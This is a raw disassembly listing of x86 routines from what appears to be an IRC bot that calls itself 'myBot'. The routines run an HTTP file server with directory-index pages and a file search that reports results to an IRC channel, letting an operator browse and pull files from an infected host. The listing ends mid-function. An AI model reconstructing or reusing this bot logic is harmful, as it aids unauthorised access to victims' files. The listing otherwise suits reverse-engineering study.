		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		call	sub_41B886
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_A4], edi
		pop	ecx
		jz	short loc_40F596
		push	offset aTextHtml ; "text/html"
		jmp	short loc_40F59B
; ---------------------------------------------------------------------------

loc_40F596:				; CODE XREF: sub_40F530+5Dj
		push	offset aApplicationOct ; "application/octet-stream"

loc_40F59B:				; CODE XREF: sub_40F530+64j
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		call	near ptr 2740000h
		nop
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		nop
		call	near ptr 2731644h
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		jnz	short loc_40F614
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41B886
		add	esp, 24h
		jmp	short loc_40F635
; ---------------------------------------------------------------------------

loc_40F614:				; CODE XREF: sub_40F530+C5j
		push	[ebp+var_B8]
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41B886
		add	esp, 28h

loc_40F635:				; CODE XREF: sub_40F530+E2j
		lea	eax, [ebp+var_1654]
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax
		push	[ebp+var_44C]
		call	dword_4CAFF4
		cmp	[ebp+var_A4], edi
		jnz	short loc_40F675
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+var_44C]
		call	sub_40FFF0
		pop	ecx
		pop	ecx
		jmp	short loc_40F692
; ---------------------------------------------------------------------------

loc_40F675:				; CODE XREF: sub_40F530+12Dj
		lea	eax, [ebp+var_654]
		push	eax
		push	edi
		push	[ebp+var_44C]
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_40F96A
		add	esp, 10h

loc_40F692:				; CODE XREF: sub_40F530+143j
		push	[ebp+var_44C]
		call	dword_4CB03C
		push	[ebp+var_B4]
		call	sub_40B412
		pop	ecx
		push	edi
		nop
		call	near ptr 26F0000h
		pop	edi
		pop	esi
sub_40F530	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F6B3	proc near		; CODE XREF: sub_40F0D5+3C0p

var_8C4		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp+var_210]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_41B590
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		jz	short loc_40F6E9
		push	eax
		push	offset aS_3	; "\\%s"
		jmp	short loc_40F6F2
; ---------------------------------------------------------------------------

loc_40F6E9:				; CODE XREF: sub_40F6B3+2Cj
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset aS_1	; "%s"

loc_40F6F2:				; CODE XREF: sub_40F6B3+34j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_10C]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_41AFE0
		test	eax, eax
		pop	ecx
		jbe	short loc_40F78D
		mov	[ebp+arg_8], 2

loc_40F71D:				; CODE XREF: sub_40F6B3+D8j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_40F75D
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_40F75D
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_40F75D
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_40F75D
		inc	esi
		mov	[ebp+ebx+var_210], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_40F777
; ---------------------------------------------------------------------------

loc_40F75D:				; CODE XREF: sub_40F6B3+7Aj
					; sub_40F6B3+84j ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_40F76D
		push	5Ch
		pop	eax
		jmp	short loc_40F770
; ---------------------------------------------------------------------------

loc_40F76D:				; CODE XREF: sub_40F6B3+B3j
		movsx	eax, al

loc_40F770:				; CODE XREF: sub_40F6B3+B8j
		mov	[ebp+ebx+var_210], al

loc_40F777:				; CODE XREF: sub_40F6B3+A8j
		lea	eax, [ebp+var_10C]
		inc	esi
		inc	[ebp+arg_8]
		push	eax
		inc	ebx
		call	sub_41AFE0
		cmp	esi, eax
		pop	ecx
		jb	short loc_40F71D

loc_40F78D:				; CODE XREF: sub_40F6B3+61j
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_314]
		push	[ebp+arg_4]
		push	offset dword_4293F4
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_314]
		push	offset asc_4299C8 ; "\n"
		push	eax
		call	sub_41C0F4
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		nop
		call	near ptr 26A0480h
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_40F7DE
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40F7E1
		push	[ebp+arg_0]
		jmp	loc_40F861
; ---------------------------------------------------------------------------

loc_40F7DE:				; CODE XREF: sub_40F6B3+11Cj
		mov	[ebp+var_4], esi

loc_40F7E1:				; CODE XREF: sub_40F6B3+121j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_40F7EE
		mov	[ebp+var_4], esi

loc_40F7EE:				; CODE XREF: sub_40F6B3+136j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_40F86C
		cmp	[ebp+arg_C], edi
		jz	short loc_40F860
		lea	eax, [ebp+var_314]
		push	offset asc_433AD8 ; "*"
		push	eax
		call	sub_41BEC0
		pop	ecx
		lea	eax, [ebp+var_314]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_4100AD
		add	esp, 0Ch
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_41B886
		or	[ebp+var_330], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		mov	[ebp+var_31C], esi
		jmp	short loc_40F8BB
; ---------------------------------------------------------------------------

loc_40F860:				; CODE XREF: sub_40F6B3+152j
		push	ebx

loc_40F861:				; CODE XREF: sub_40F6B3+126j
		call	dword_4CB03C
		jmp	loc_40F963
; ---------------------------------------------------------------------------

loc_40F86C:				; CODE XREF: sub_40F6B3+14Dj
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+var_314]
		push	80000000h
		push	eax
		call	near ptr 271099Eh
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40F8BB
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41B886
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
		nop
		call	near ptr 2740A7Bh
		push	esi
		mov	[ebp+var_330], eax
		nop
		call	near ptr 2670909h

loc_40F8BB:				; CODE XREF: sub_40F6B3+1ABj
					; sub_40F6B3+1D6j
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_8C4]
		push	esi
		push	offset unk_433AA4
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_8C4]
		push	3
		push	eax
		call	sub_40B0F6
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_43DEE4[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset sub_40F530
		push	edi
		push	edi
		nop
		call	near ptr 269053Ch
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43DEF4[ecx], eax
		jz	short loc_40F935

loc_40F923:				; CODE XREF: sub_40F6B3+280j
		cmp	[ebp+var_318], edi
		jnz	short loc_40F963
		push	5
		nop
		call	near ptr 26904AEh
		jmp	short loc_40F923
; ---------------------------------------------------------------------------

loc_40F935:				; CODE XREF: sub_40F6B3+26Ej
		push	ebx
		call	dword_4CB03C
		nop
		call	near ptr 2690DF2h
		push	eax
		lea	eax, [ebp+var_8C4]
		push	offset unk_433A6C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_8C4]
		push	eax
		call	sub_4151AC
		add	esp, 10h

loc_40F963:				; CODE XREF: sub_40F6B3+1B4j
					; sub_40F6B3+276j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_40F6B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F96A	proc near		; CODE XREF: sub_401ACD+777Ap
					; sub_40F530+15Ap

var_594		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
var_35C		= byte ptr -35Ch
var_248		= byte ptr -248h
var_48		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_594]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_41B590
		mov	edi, [ebp+arg_0]
		push	offset asc_4299C8 ; "\n"
		push	edi
		call	sub_41C0F4
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		jz	short loc_40F9C9
		push	edi
		mov	esi, 200h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	loc_40FAC8
; ---------------------------------------------------------------------------

loc_40F9C9:				; CODE XREF: sub_40F96A+3Aj
		cmp	[ebp+arg_C], ebx
		push	edi
		jz	loc_40FAAE
		call	sub_41AFE0
		pop	ecx
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFF4
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFF4
		push	edi
		call	sub_41AFE0
		pop	ecx
		mov	byte ptr [eax+edi], 2Ah
		push	3Ch
		push	96h
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 18h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFF4
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_40FAC8
; ---------------------------------------------------------------------------

loc_40FAAE:				; CODE XREF: sub_40F96A+63j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h

loc_40FAC8:				; CODE XREF: sub_40F96A+5Aj
					; sub_40F96A+142j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFF4
		cmp	[ebp+arg_C], ebx
		jz	short loc_40FB63
		push	[ebp+arg_C]
		call	sub_41AFE0
		cmp	eax, 2
		pop	ecx
		jbe	short loc_40FB63
		push	[ebp+arg_C]
		call	sub_41AFE0
		sub	eax, 3
		pop	ecx
		jz	short loc_40FB14

loc_40FB08:				; CODE XREF: sub_40F96A+1A8j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_40FB14
		dec	eax
		jnz	short loc_40FB08

loc_40FB14:				; CODE XREF: sub_40F96A+19Cj
					; sub_40F96A+1A5j
		inc	eax
		push	eax
		lea	eax, [ebp+var_594]
		push	[ebp+arg_C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		lea	eax, [ebp+var_594]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFF4

loc_40FB63:				; CODE XREF: sub_40F96A+180j
					; sub_40F96A+18Ej
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		call	near ptr 25D0000h
		nop
		lea	ecx, [ebp+var_388]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		call	near ptr 2770000h
		nop
		test	eax, eax
		jz	loc_40FF53
		mov	edi, 1FFh

loc_40FB8F:				; CODE XREF: sub_40F96A+5E3j
		cmp	[ebp+var_388], ebx
		jz	loc_40FF3B
		lea	eax, [ebp+var_35C]
		push	offset a__	; ".."
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FF3B
		lea	eax, [ebp+var_35C]
		push	offset a_	; "."
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FF3B
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		nop
		call	near ptr 2760000h
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	near ptr 27508DDh
		nop
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm	; "PM"
		cmp	ax, 0Ch
		ja	short loc_40FC04
		mov	ecx, offset aAm	; "AM"

loc_40FC04:				; CODE XREF: sub_40F96A+293j
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_40FC10
		sub	eax, 0Ch

loc_40FC10:				; CODE XREF: sub_40F96A+2A1j
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_41B886
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_40FDB3
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FC84
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		jmp	loc_40FEFC
; ---------------------------------------------------------------------------

loc_40FC84:				; CODE XREF: sub_40F96A+2E0j
		cmp	[ebp+arg_C], ebx
		jz	loc_40FD6E
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFF4
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_0	; "%s%s/"
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFF4
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41AFE0
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_40FD24
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_40FD29
; ---------------------------------------------------------------------------

loc_40FD24:				; CODE XREF: sub_40F96A+3B1j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"

loc_40FD29:				; CODE XREF: sub_40F96A+3B8j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFF4
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40FEFD
; ---------------------------------------------------------------------------

loc_40FD6E:				; CODE XREF: sub_40F96A+31Dj
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	loc_40FF0C
; ---------------------------------------------------------------------------

loc_40FDB3:				; CODE XREF: sub_40F96A+2D4j
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FDF2
		push	ebx
		push	[ebp+var_368]
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		push	esi

loc_40FDDE:				; CODE XREF: sub_40F96A+577j
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		jmp	loc_40FF0C
; ---------------------------------------------------------------------------

loc_40FDF2:				; CODE XREF: sub_40F96A+44Fj
		cmp	[ebp+arg_C], ebx
		jz	loc_40FEE6
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFF4
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset dword_4293F4
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFF4
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41AFE0
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_40FE92
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_40FE97
; ---------------------------------------------------------------------------

loc_40FE92:				; CODE XREF: sub_40F96A+51Fj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"

loc_40FE97:				; CODE XREF: sub_40F96A+526j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFF4
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40FDDE
; ---------------------------------------------------------------------------

loc_40FEE6:				; CODE XREF: sub_40F96A+48Bj
		push	[ebp+var_368]
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"

loc_40FEFC:				; CODE XREF: sub_40F96A+315j
		push	esi

loc_40FEFD:				; CODE XREF: sub_40F96A+3FFj
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41B980
		add	esp, 18h

loc_40FF0C:				; CODE XREF: sub_40F96A+444j
					; sub_40F96A+483j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFF4
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FF3B
		push	7D0h
		call	near ptr 26904AEh
		nop

loc_40FF3B:				; CODE XREF: sub_40F96A+22Bj
					; sub_40F96A+246j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 2770000h
		test	eax, eax
		jnz	loc_40FB8F

loc_40FF53:				; CODE XREF: sub_40F96A+21Aj
		push	[ebp+arg_0]
		nop
		call	near ptr 2750000h
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FF96
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_40FFCA
; ---------------------------------------------------------------------------

loc_40FF96:				; CODE XREF: sub_40F96A+5F5j
		cmp	[ebp+arg_C], ebx
		jz	short loc_40FFB0
		lea	eax, [ebp+var_248]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_40FFCA
; ---------------------------------------------------------------------------

loc_40FFB0:				; CODE XREF: sub_40F96A+62Fj
		push	[ebp+var_8]
		lea	eax, [ebp+var_248]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_41B886
		add	esp, 10h

loc_40FFCA:				; CODE XREF: sub_40F96A+62Aj
					; sub_40F96A+644j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFF4
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_40F96A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FFF0	proc near		; CODE XREF: sub_40F530+13Cp

var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		nop
		call	near ptr 271099Eh
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_4100A8
		push	esi
		push	ebx
		call	near ptr 2740A7Bh
		nop
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_4100A1

loc_410035:				; CODE XREF: sub_40FFF0+AFj
		push	400h
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]

loc_41004D:				; DATA XREF: ___:00437A60o
					; ___:00437A74o
		jbe	short loc_410052
		mov	edi, [ebp+arg_4]

loc_410052:				; CODE XREF: sub_40FFF0:loc_41004Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		call	near ptr 2780000h
		nop
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		nop
		call	near ptr 2710000h
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFF4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41009C
		call	dword_4CAF38
		cmp	eax, 2733h
		jnz	short loc_4100A1
		xor	eax, eax

loc_41009C:				; CODE XREF: sub_40FFF0+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_410035

loc_4100A1:				; CODE XREF: sub_40FFF0+43j
					; sub_40FFF0+A8j
		push	ebx
		nop
		call	near ptr 2670909h

loc_4100A8:				; CODE XREF: sub_40FFF0+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40FFF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4100AD	proc near		; CODE XREF: sub_40F6B3+181p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_41AFE0
		test	eax, eax
		pop	ecx
		jbe	short loc_4100D6

loc_4100C0:				; CODE XREF: sub_4100AD+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_4100CA
		mov	byte ptr [esi+edi], 2Fh

loc_4100CA:				; CODE XREF: sub_4100AD+17j
		push	edi
		inc	esi
		call	sub_41AFE0
		cmp	esi, eax
		pop	ecx
		jb	short loc_4100C0

loc_4100D6:				; CODE XREF: sub_4100AD+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4100AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4100DB	proc near		; CODE XREF: sub_401ACD+5297p

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
